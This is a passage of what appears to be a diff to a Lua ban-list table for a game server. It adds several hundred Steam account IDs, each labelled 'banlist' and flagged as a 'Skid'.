{Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18067781"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23018921"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22198451"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12711819"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23574454"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11372749"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28677127"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:47920560"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41198648"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33502743"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42667042"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5124434"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9610008"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30480788"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31930584"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:734963"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14407998"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29581259"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39830848"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34721136"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27034597"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23256563"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18141544"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:45822520"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20775995"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27927238"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39190863"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24909765"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40881174"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:4232068"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25504728"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32905074"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33343335"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26233462"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20385610"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6781029"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20903047"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15672028"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20140979"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37374632"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22809262"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27503788"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6974361"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21844531"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39193585"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20323314"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14379687"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15789263"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40127246"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34877774"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20267870"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23961514"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33570327"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31636293"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12109606"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12613282"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32137839"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29658506"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22051848"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39931545"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20953309"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39208008"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17842514"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20503191"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37759959"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14415121"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37859194"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17483763"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33414218"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42600650"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34712213"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24426064"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28414483"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26248016"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24303212"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19496862"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20456064"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14802564"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:44958803"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20159654"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29520685"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27276946"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29715040"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25439381"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38272783"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40128161"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30973422"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31626221"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26520244"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24936495"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39139232"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12079893"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24387457"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19528046"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17776349"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24216096"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8049910"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37765925"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19008043"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10107702"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16701545"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18370125"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37690617"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25395054"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10775802"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21044659"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32821725"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33023973"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33141961"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15013009"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37354807"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32899155"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20326245"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26171215"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21946127"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10249039"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16324500"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24751204"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22288515"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16032569"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:2984842"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31430042"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14867306"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21228288"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32591857"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11117640"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18602387"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21620997"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15683773"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30173631"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14524028"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12656449"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37245819"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31550346"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24134873"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29684213"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20315015"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37290222"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12680454"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14938234"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24714463"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:2577848"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20123278"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19711550"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6189682"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29377046"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13390978"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37730160"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22358541"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20712749"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35658962"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33015207"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42813575"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28120449"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14236411"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10966426"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25204779"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25912584"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24049225"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25490214"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41277037"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44377406"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13251599"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20746384"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17782219"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15282619"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31051702"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24051323"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25623139"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26106155"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16225722"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37884462"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26137352"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15060197"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24238213"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17755893"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16740424"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26647112"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24840872"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30676453"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28334924"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25289713"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44547538"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35291117"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34968639"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3276724"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24784527"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23285179"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:1255154"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38583899"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20430691"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20431003"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41554973"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26285276"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42805428"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37480574"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22883010"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24523569"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29441349"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19608485"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20927574"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:46427479"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19216916"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20413509"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34903864"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18372924"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10798042"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18640712"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10385506"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17339361"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28431979"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29139614"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25330972"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28847807"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24644802"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10590599"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27742498"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1731807"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39812982"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29474814"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24099548"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9574160"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18548054"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26452726"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32942718"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37544345"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19758541"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:175617441"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27009278"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38098425"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5194436"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16087139"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20937983"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48376840"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30502046"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27119610"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17312503"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41979886"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21738408"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24418752"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30694432"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18776923"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26190795"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22714456"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36956130"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20100210"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7967611"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19419575"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33672863"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30286573"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34003251"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10022616"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15574365"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23726500"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18191704"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43665562"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22396164"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29287655"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22329314"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24838395"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37539612"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15807649"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19519191"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36206584"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29244565"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15264714"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32973004"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3139416"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19155887"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39905337"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15511602"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11002940"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:36728992"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22121678"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31353155"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21640255"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11067617"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21927993"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17523434"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38470495"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24724241"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29152112"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15658690"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17353749"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16771120"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35485039"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19556528"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7972339"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10987303"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28938661"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8207859"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6428933"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20189488"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27004343"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6808282"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26308117"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:2286"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14171322"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25215691"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29212210"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8874007"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31963824"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29615423"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15113269"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32666814"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31839326"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19046413"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:8362913"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16248315"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43130643"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24392922"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26824361"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19575009"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25348501"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19269211"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29663201"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31646445"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:304929"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26730701"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7148122"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19270309"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14791474"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19944614"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15273453"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33399279"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6171488"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33335960"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34058080"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30020484"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20366142"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24425545"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19732901"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9584607"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23620136"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31063013"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32294015"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3785646"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27202623"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28822702"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26757838"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20578969"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29636924"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15680406"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34503721"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1897166"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34407101"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19039355"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22135597"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26410212"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27038887"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34119459"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15521243"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10170875"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32746397"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7693059"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22065309"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34773745"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:551618"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5127130"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15477783"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29129303"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26336859"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42470256"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32869694"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28235783"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6015295"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26297056"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41252985"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22079873"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20303891"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17741589"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12692633"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20713298"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38195696"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20047375"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21163496"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30104210"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25976779"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12195073"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26031590"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37853397"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5462855"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33171834"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26338213"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24335624"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33306095"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15641206"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40015812"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35402325"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38410167"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29400918"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17547902"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17272882"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32336603"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18772563"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36480745"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33046923"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33695901"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34012034"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21351228"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19634581"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34776179"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22039036"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13597635"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29346506"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20141441"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26346016"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40320801"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33677768"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30497403"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15743845"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20561464"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15943450"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26319647"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14023187"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39357715"] = {Name = "banlist: ", Skid = true}, + 